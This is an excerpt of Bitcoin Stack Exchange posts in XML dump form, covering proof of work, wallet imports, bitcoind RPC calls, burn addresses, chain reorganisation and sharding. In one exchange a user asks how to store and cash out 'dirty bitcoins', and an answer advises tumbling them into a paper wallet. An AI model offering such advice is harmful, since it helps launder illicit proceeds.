  <row Id="40869" PostTypeId="2" ParentId="40862" CreationDate="2015-10-13T10:15:59.323" Score="2" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A proof of work is a piece of data which is difficult (costly, time-consuming) to produce but easy for others to verify. You might be able to squeeze a render job into those constraints (remember, easy to verify also means it needs to be easy (small) to download, otherwise it's already a DOS opportunity right there).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, another PoW requirement is that the work must be progress-free, which means every iteration of the work is completely independent of all other iterations (like rolling dice). This is because if you have 10% of the capacity, you'll win 10% of the time. As soon as there is progress in the work (20% done, 50% done, 99% done ... 100% done) then the fastest render farm will win 100% of the time (defeating the whole purpose of PoW). That situation also opens up all kinds of exploits where a fast farm can work ahead on the next block and gain an even bigger advantage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many aspects to being progress-free. Even the current bitcoin PoW has a little bit of progress in practice (the block propagation itself) and even a little bit causes centralization pressure: bigger farms have a slight advantage over smaller farms.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2015-10-13T10:15:59.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40873" PostTypeId="1" CreationDate="2015-10-13T11:48:43.433" Score="2" ViewCount="144" Body="&lt;p&gt;I want to allow users to buy stuff with Bitcoin in my iPhone app. I don't want to use things such as Coinbase or Stripe, I want to send the Bitcoin programmatically. I'm pretty new to Bitcoin but as far as I know, I have these options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) &lt;a href=&quot;https://blockchain.info/api/blockchain_wallet_api&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/blockchain_wallet_api&lt;/a&gt;. Will this allow the users of my app to send Bitcoin to another by simply doing API calls?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Creating my own backend and running the Bitcoin daemon in my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have another option? Which one is better? Other comments or suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="29879" LastActivityDate="2015-10-13T11:48:43.433" Title="Send Bitcoin programmatically from my iPhone app" Tags="|bitcoind|ios|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40874" PostTypeId="2" ParentId="40842" CreationDate="2015-10-13T13:02:21.700" Score="1" Body="&lt;p&gt;The quote below is taken from my answer to &lt;a href=&quot;https://bitcoin.stackexchange.com/a/14073/16&quot;&gt;How to implement a game like SatoshiDice?&lt;/a&gt;  What you are looking for is addressed in this portion of my answer below.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Get the customer amount and payment address&lt;/strong&gt;  &lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;Call &lt;code&gt;bitcoind getrawtransaction [The incoming transaction ID] 1&lt;/code&gt;.  The 1 at the end will return the data in &quot;verbose mode&quot;, which&#xA;  essentially the raw data in JSON format.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;From the raw transaction details, take the &lt;code&gt;txid&lt;/code&gt; and &lt;code&gt;vout&lt;/code&gt; from the &lt;code&gt;vin&lt;/code&gt; object.  With this transaction, again call &lt;code&gt;bitcoind&#xA;  getrawtransaction&lt;/code&gt; on the &lt;code&gt;txid&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;From these raw transaction details find the &lt;code&gt;vout&lt;/code&gt; object, referenced by the &lt;code&gt;vout&lt;/code&gt; index from step #2.  Within this &lt;code&gt;vout&lt;/code&gt;&#xA;  object, there should be a list of payment recipient addresses.  Take&#xA;  and store the first address.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is worth mentioning that a received payment can be a summation of numerous, former transactions to multiple recipient addresses.  Getting an originators address isn't always straight-forward because the original payment could consist of multiple payments, from multiple sending addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why that in my response to the SatoshiDice question I mention taking the first address from the second &lt;code&gt;vout&lt;/code&gt; result.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can safely assume that if someone sends you a payment originating from multiple accounts, they control all accounts. Ergo, picking the first in the list will give you correct address.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-10-13T13:08:26.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40876" PostTypeId="1" CreationDate="2015-10-13T16:56:16.113" Score="3" ViewCount="602" Body="&lt;p&gt;I withdrew Bitcoins from Bitcoin ATM (Bitcoin mainnet, if that matters) into a wallet that it generated for me.  My intention was to import or sweep the generated wallet into Armory (or possibly Bitcoin Core).  [Warning: Newbie alert!]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing I realized was the public and private keys that the ATM generated for me were in WIF format, and Armory seems to only want hex keys.  So I discovered pycoin and used ku.py to convert WIF to a hex secret exponent.  Armory seemed happy enough with the hex exponent, and asked me to confirm the apparent Bitcoin address.  The address was correct, so I confirmed and Armory began scanning something or other.  When it finally finished scanning, it told me there appeared to be no funds associated with the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only people who saw the private key are myself and the ATM, and I'll assume it reasonably unlikely that the ATM was compromised.  If true, my funds still exist somewhere, but I don't know how or where to find them.  What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="29885" LastActivityDate="2015-10-17T16:09:58.783" Title="Trying to import Bitcoin ATM wallet into Armory" Tags="|wallet|private-key|armory|bitcoin-atm|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40877" PostTypeId="1" CreationDate="2015-10-13T18:15:55.490" Score="0" ViewCount="66" Body="&lt;p&gt;In previous versions &lt;code&gt;getrecievedbyaddress&lt;/code&gt; api call returned 0 for external addresses (not included into local wallet) and it was described in the docs. However, right now documentation for &lt;code&gt;getrecievedbyaddress&lt;/code&gt; doesn't mention externall/local addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that I can use this api call for any address?&lt;/p&gt;&#xA;" OwnerUserId="29888" LastActivityDate="2015-10-13T20:11:31.003" Title="Does getrecievedbyaddress work for all addresses?" Tags="|bitcoind|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40879" PostTypeId="1" CreationDate="2015-10-13T19:18:34.097" Score="5" ViewCount="839" Body="&lt;p&gt;I understand that if I request a payment and delete the request, I still own the address and will receive Bitcoins that were sent to it.  However, I find it very uncomfortable to just &quot;assume&quot; that I own an address.  I would much prefer if I could look somewhere and see a list of the addresses that are mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a place I can see all of my addresses?  What are the conditions under which I will no longer own an address?&lt;/p&gt;&#xA;" OwnerUserId="29891" LastActivityDate="2018-11-03T22:00:23.420" Title="In Multibit HD, is there a way to see all of my receiving addresses?" Tags="|wallet|address|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40880" PostTypeId="2" ParentId="40877" CreationDate="2015-10-13T20:11:31.003" Score="2" Body="&lt;p&gt;No, it only works for wallet addresses. You can add watch-only addresses without key via &lt;code&gt;importaddress&lt;/code&gt;, though.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-10-13T20:11:31.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40882" PostTypeId="1" CreationDate="2015-10-14T01:54:08.293" Score="4" ViewCount="1057" Body="&lt;p&gt;I want to write data to the Blockchain, and write to specific addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to send small amounts of Bitcoin to addresses like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1MikesReallyCoolApp&amp;lt;game_id_here&amp;gt;59kuE&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this while still maintaining a valid address to send BTC to? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there someone who can breakdown the parts of a Bitcoin address that can be altered? I know each address needs a &quot;1&quot; in the beginning, but not sure about the other rules. &lt;/p&gt;&#xA;" OwnerUserId="29899" LastEditorUserId="5406" LastEditDate="2015-10-14T10:17:41.990" LastActivityDate="2015-10-14T13:34:37.660" Title="How to make a vanity throwaway address? Similar to 1BitcoinEaterAddressDontSendf59kuE" Tags="|address|vanity-address|base58|" AnswerCount="1" CommentCount="3" FavoriteCount="0" ClosedDate="2018-05-01T19:49:44.050" ContentLicense="CC BY-SA 3.0" />
  <row Id="40883" PostTypeId="1" AcceptedAnswerId="40885" CreationDate="2015-10-14T10:42:27.890" Score="2" ViewCount="422" Body="&lt;p&gt;Is it the case that a malicious miner with the majority of hash power (say, 99%) can perform a double-spending attack by rewriting history?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, I can't understand how. If not, under what circumstances is double-spending possible at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider the following simple assumptions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A malicious miner M controls 99% of hash power&lt;/li&gt;&#xA;&lt;li&gt;M does not control much &quot;relay power&quot; (e.g. it only operates a single node in the network)&lt;/li&gt;&#xA;&lt;li&gt;The current legit blockchain (before the attack) is forkless, and consists of block B0,B1,...,B10, and 100% of the nodes in the network agree on that.&lt;/li&gt;&#xA;&lt;li&gt;The attacker wants to void blocks B6-B10&lt;/li&gt;&#xA;&lt;li&gt;The attacker mined alternative blocks B6' (on top of B5), B7', ..., B11'.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;How can the attacker carry out the attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he publishes B6' first, wouldn't all nodes reject it for being built on top of a block other than the last, thus preventing the attack?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If he publishes B11' first, wouldn't all nodes reject it for being built on top of an unknown block (not seeing B10' yet), thus preventing the attack?&lt;/p&gt;&#xA;" OwnerUserId="15073" LastEditorUserId="18196" LastEditDate="2016-03-06T19:11:43.520" LastActivityDate="2016-03-06T19:11:43.520" Title="Can a malicious majority miner rewrite history?" Tags="|doublespend|attack|majority-attack|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="40885" PostTypeId="2" ParentId="40883" CreationDate="2015-10-14T11:01:33.957" Score="4" Body="&lt;p&gt;Let's assume for a minute that your theory is true, and that actual nodes on the network would not accept this new, valid, and longer block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That on itself would be a bug. Maybe it isn't obvious for a 5-block reorganization, but if it was a 2-block deep one (which actually occurs in practice), your argument would be equally true. If there was no means to accept a 2-block deep reorganization, nodes would be stuck in their shorter chain. This is actually exploitable too: someone may intentionally try to get you in such a state, as you will not see new payments on the chain that might conflict with a payment the attacker is trying to send you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is true for any depth of reorganization. If we don't accept 12-block deep reorganization, the network would remain in a very sore state if there would ever be a few-hour partitioning of the network. Being able to accept the longest valid chain under every condition is absolutely required for making Bitcoin converge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: we need a mechanism to reorganize pretty much any depth. How it is accomplished changed in Bitcoin Core 0.10 with the introduction of headers-first synchronization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before 0.10&lt;/strong&gt;, the attacker would broadcast B11' first, which the victim doesn't know about. It will do a &lt;code&gt;getblocks&lt;/code&gt; message to request the hashes of blocks between B5 (using a block locator) and B11'. When it receives these hashes, it will download them one by one using &lt;code&gt;getdata&lt;/code&gt;, see they have a missing parent, place them in the orphan pool (the set of blocks without known parent), and when they're all received, notice that they connect, and switch to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Since 0.10&lt;/strong&gt;, the attacker would &lt;code&gt;inv&lt;/code&gt; B11'. The victim will use a &lt;code&gt;getheaders&lt;/code&gt; message to request the block headers between B5 and B11' and &lt;code&gt;getdata&lt;/code&gt; for the block B11' itself. When the headers arrive, they are validated on the fly (in order of increasing height, so they always connect). By the time B11' arrives, we already know about its parents, and know that (assuming the parents are valid) this will in fact be the new best chain. We will then start fetching the actual blocks B6' through B10' to fill in the gaps, and when they have all arrived, switch over to that chain.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-10-14T11:01:33.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40886" PostTypeId="1" CreationDate="2015-10-14T12:56:49.070" Score="1" ViewCount="26" Body="&lt;p&gt;hi can someone help I forgot to send fee one time is there anyway to speed up &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/fb4840af0ad51804eb8975d7e0afacd2e2c176748e98de502a9ffd19ed46d53b&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/fb4840af0ad51804eb8975d7e0afacd2e2c176748e98de502a9ffd19ed46d53b&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thankyou&lt;/p&gt;&#xA;" OwnerUserId="29908" LastActivityDate="2015-10-14T12:56:49.070" Title="help unconfirmed for a day" Tags="|transactions|unconfirmed-transactions|" AnswerCount="0" CommentCount="1" ClosedDate="2015-10-20T06:33:38.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="40887" PostTypeId="2" ParentId="40882" CreationDate="2015-10-14T13:34:37.660" Score="3" Body="&lt;p&gt;Simple website to create burn address &lt;a href=&quot;http://gobittest.appspot.com/ProofOfBurn&quot; rel=&quot;nofollow&quot;&gt;http://gobittest.appspot.com/ProofOfBurn&lt;/a&gt;&#xA;If you want a script try this &lt;a href=&quot;https://gist.github.com/CoinWhisperer/6d673f1f3d13da1611cd&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/CoinWhisperer/6d673f1f3d13da1611cd&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-10-14T13:34:37.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40888" PostTypeId="2" ParentId="11912" CreationDate="2015-10-14T13:41:06.267" Score="1" Body="&lt;p&gt;Check this website. It has summary of the tools available &lt;a href=&quot;http://block-chain-analysis.com/&quot; rel=&quot;nofollow&quot;&gt;http://block-chain-analysis.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26481" LastActivityDate="2015-10-14T13:41:06.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40889" PostTypeId="1" CreationDate="2015-10-14T19:02:10.080" Score="2" ViewCount="516" Body="&lt;p&gt;Please can you tell me if it is possible to transfer my Blockchain account to Mulitibit.I want to keep my bitcoin address but back it up on Multibit.&lt;/p&gt;&#xA;" OwnerUserId="29913" LastEditorUserId="2306" LastEditDate="2015-10-14T19:03:32.843" LastActivityDate="2015-10-17T02:06:37.913" Title="Copying my Blockchain account to Multibit" Tags="|wallet|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40893" PostTypeId="1" AcceptedAnswerId="40897" CreationDate="2015-10-15T02:05:47.267" Score="5" ViewCount="5412" Body="&lt;p&gt;I'm new in bitcoin, I just want to return json scrutucture from latest transactions from time to time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't figure by searching their reference, I think it requires a level of knowledge in bitcoin I don't have yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just wanted to return plain vanilla json array&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="29923" LastEditorUserId="24925" LastEditDate="2015-10-15T08:22:30.743" LastActivityDate="2021-11-15T10:36:55.730" Title="How to access Latest Transactions using the Blockchain.info api?" Tags="|api|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40894" PostTypeId="1" AcceptedAnswerId="42628" CreationDate="2015-10-15T10:22:01.293" Score="4" ViewCount="1208" Body="&lt;p&gt;If you mine in wemineltc pool you have probably noticed that there are two different stratum server for ASIC miners &#xA;here are the urls &#xA;&lt;img src=&quot;https://i.stack.imgur.com/IcaLb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is that &lt;em&gt;what is the difference between an gridseed asic and scrypt acis miner ???&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I will be thankful if you explain me that what is gridseed mean exactly&lt;/p&gt;&#xA;" OwnerDisplayName="user29589" LastEditorUserId="6256" LastEditDate="2016-01-28T15:24:13.483" LastActivityDate="2016-01-28T16:15:43.573" Title="What is the difference between Gridseed ASIC and Scrypt ASIC" Tags="|mining-pools|litecoin|asic|miner-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40897" PostTypeId="2" ParentId="40893" CreationDate="2015-10-15T13:23:47.230" Score="3" Body="&lt;p&gt;First of all, there's no way for blockchain.info to know which transactions you have and don't have if it's not in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can get the full list of transactions not yet in a block using this call:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/unconfirmed-transactions?format=json&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/unconfirmed-transactions?format=json&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, you can get a continuous stream of new transactions using the websocket API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/api/api_websocket&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_websocket&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can subscribe to unconfirmed transactions by connecting via websocket to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;wss://ws.blockchain.info/inv&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and sending this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{&quot;op&quot;:&quot;unconfirmed_sub&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That socket will receive every transaction that blockchain.info receives.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-15T13:23:47.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40898" PostTypeId="1" CreationDate="2015-10-15T16:48:58.367" Score="1" ViewCount="1127" Body="&lt;p&gt;My wallet.dat is 260MB big. I am using 32bit bitcoind (bitcoin-0.10.2), linux. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoind is having memory problems:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [&quot;errors&quot;]=&amp;gt;&#xA;  string(89) &quot;EXCEPTION: St9bad_alloc       &#xA;std::bad_alloc       &#xA;bitcoin in ProcessMessages()       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Current memory allocation:&#xA;  2.9 GB virt, 2.3 GB virt.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I resolve the memory problem? Can I delete old unused addresses?&#xA;I did not find an API call to remove old addresses.&#xA;Probably bitcoin-0.11.0 does not resolve the problem either, it has already nearly same values: 2.45 GB Virt, 2.1 GB Res.&lt;/p&gt;&#xA;" OwnerUserId="27130" LastEditorUserId="2306" LastEditDate="2015-10-15T18:27:53.597" LastActivityDate="2016-02-11T14:51:05.880" Title="Running out of memory, how can I reduce the size of wallet.dat?" Tags="|bitcoind|memory|" AnswerCount="3" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="40899" PostTypeId="1" AcceptedAnswerId="40902" CreationDate="2015-10-15T19:57:40.957" Score="1" ViewCount="730" Body="&lt;p&gt;I want to create a boolean result method WasGeneratedBy that takes two params, a bitcoin address, and a BIP32 pub key.  Is there an efficient algorithm (and library, NBitcoin?) to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm showing my BIP32 newbieness..  Based upon the first response I received, I would like to modify my desired method such that all required parameters are present (including path).  This method gets its information from public web service so obviously that precludes any private keys or other that the user would be unlikely to submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this should be possible given this blockchain.info example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/xpub/xpub6CUGRUonZSQ4TWtTMmzXdrXDtypWKiKrhko4egpiMZbpiaQL2jkwSB1icqYh2cfDfVxdx4df189oLKnC5fSwqPfgyP3hooxujYzAu3fDVmz&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/xpub/xpub6CUGRUonZSQ4TWtTMmzXdrXDtypWKiKrhko4egpiMZbpiaQL2jkwSB1icqYh2cfDfVxdx4df189oLKnC5fSwqPfgyP3hooxujYzAu3fDVmz&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29938" LastEditorUserId="29938" LastEditDate="2015-10-15T20:15:04.340" LastActivityDate="2015-10-15T20:52:17.010" Title="C# How to determine if a bitcoin address was generated by a BIP32 pub key?" Tags="|bip32-hd-wallets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40900" PostTypeId="2" ParentId="40899" CreationDate="2015-10-15T20:10:05.380" Score="1" Body="&lt;p&gt;There is no such algorithm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to know the path.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-10-15T20:10:05.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40901" PostTypeId="1" CreationDate="2015-10-15T20:22:03.353" Score="-2" ViewCount="182" Body="&lt;p&gt;If i recieve some dirty bitcoins (large amounts ) which is the safest way to store them in an anonymous place and then convert them into dollars? Do i need a TREZOR?&lt;/p&gt;&#xA;" OwnerUserId="29940" LastActivityDate="2015-10-15T21:00:36.157" Title="Safest way to store bitcoins" Tags="|privacy|sell-bitcoins|" AnswerCount="1" CommentCount="1" ClosedDate="2015-10-20T03:08:04.633" ContentLicense="CC BY-SA 3.0" />
  <row Id="40902" PostTypeId="2" ParentId="40899" CreationDate="2015-10-15T20:27:17.210" Score="1" Body="&lt;p&gt;If you know the path and the xpubkey, you can just generate the address and see if it matches with what you expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't know the (entire) path you can simply start trying a lot of different paths, but in principle you could spend an infinite amount of time, so in that case your function would never return false.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="2306" LastEditDate="2015-10-15T20:52:17.010" LastActivityDate="2015-10-15T20:52:17.010" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="40903" PostTypeId="2" ParentId="40901" CreationDate="2015-10-15T21:00:36.157" Score="1" Body="&lt;p&gt;Tumble into a paper wallet. Then cash out as you need.&#xA;&lt;a href=&quot;https://blockchain.info/wallet/paper-tutorial&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet/paper-tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise replace the paper wallet with trezor as you suggested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a note, these two options rely more on physical security than your standard wallet. blockchain.info notes: &quot;The paper contains everything needed to spend the coins and must be kept physically secure.&quot;&lt;/p&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-10-15T21:00:36.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40904" PostTypeId="1" CreationDate="2015-10-15T22:17:41.573" Score="3" ViewCount="775" Body="&lt;p&gt;Can anyone point me to the picture I saw somewhere but can not find it anymore where blockchain is represented as a line of blocks chained together. There was a locker on each little block, and each block was chained to the next one.&#xA;The blocks were forming something like a line/queue of blocks&lt;br&gt;&#xA;I'm googling for an hour now and can not find it anymore&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE 1&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a sketch of what I had in mind.&#xA;I'm sure I saw it somewhere but it might have been in a video about blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/m0JvM.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m0JvM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then the block chain was like a very long (infinite) line of blocks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6QmPv.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6QmPv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;   &lt;/p&gt;&#xA;" OwnerUserId="29943" LastEditorUserId="29943" LastEditDate="2015-10-16T23:13:07.437" LastActivityDate="2015-10-16T23:13:07.437" Title="Picture of blockchain" Tags="|blockchain|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="40905" PostTypeId="2" ParentId="40904" CreationDate="2015-10-16T03:28:25.520" Score="1" Body="&lt;p&gt;This comes from the free e-book &lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch07.html#merkle_trees&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mastering Bitcoin&lt;/em&gt;&lt;/a&gt; by Andreas Antonopoulos:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/ch07.html#merkle_trees&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cMG0P.png&quot; alt=&quot;Blokchain from «Mastering Bitcoin»&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-10-16T03:28:25.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="40906" PostTypeId="1" AcceptedAnswerId="74565" CreationDate="2015-10-16T08:23:15.120" Score="7" ViewCount="883" Body="&lt;p&gt;Hi guys I've been reading a lot about the problem of scalability in crytocurrencies and how to run a full bitcoin node is not a possibility on a mobile device for example, as a result we become relient on centralised 'power nodes',&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: what is it about the datastructure which makes sharding the full blockchain across many lite devices not possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example node 1 stores blocks 0-100, node 2 blocks 101-200, etc. A node wishing to verify some transaction can then just keep pinging nodes until they connect with a node which is storing the data they're interested in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apologies if this is a noob question, still got a lot of learning to do!&lt;/p&gt;&#xA;" OwnerUserId="29947" LastActivityDate="2018-05-01T08:32:01.957" Title="Why is sharding not possible with a distributed blockchain?" Tags="|blockchain|ethereum|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40907" PostTypeId="1" CreationDate="2015-10-16T08:31:53.840" Score="2" ViewCount="546" Body="&lt;p&gt;Why are existing distribued database technologies such as mongodb not useful for hosting the blockchains of large cryptoapplications, after all they are just distributed key-value stores?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how does something like ethereum nodes actually store data? In some custom database? Why not use existing tech?&lt;/p&gt;&#xA;" OwnerUserId="29947" LastActivityDate="2018-09-22T00:46:06.477" Title="Why are existing distributed database technologies not applicable to cryptocurrencies" Tags="|database|ethereum|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="40908" PostTypeId="2" ParentId="40907" CreationDate="2015-10-16T09:27:19.327" Score="2" Body="&lt;p&gt;The security model of MongoDB assumes that all MongoDB nodes are run by the same entity, and trusts the servers in the cluster to not tamper with the data they're given. There are checksums and such, but those are intended to detect and correct accidental corruption of data, not intentional changes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does something like ethereum nodes actually store data?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin uses LevelDB to store blockchain data, though this is not sharded for the reasons mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know what backend Ethereum uses.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-10-16T09:27:19.327" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="40909" PostTypeId="2" ParentId="40906" CreationDate="2015-10-16T09:53:54.900" Score="2" Body="&lt;p&gt;How would they know which node is storing the data they're interested in? The nightmare scenario is when you need to know that something didn't happen -- for example, that particular asset still exists and hasn't been transferred to someone else. How could you possibly know who to ask about a transaction that may not have even taken place?&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-10-16T09:53:54.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
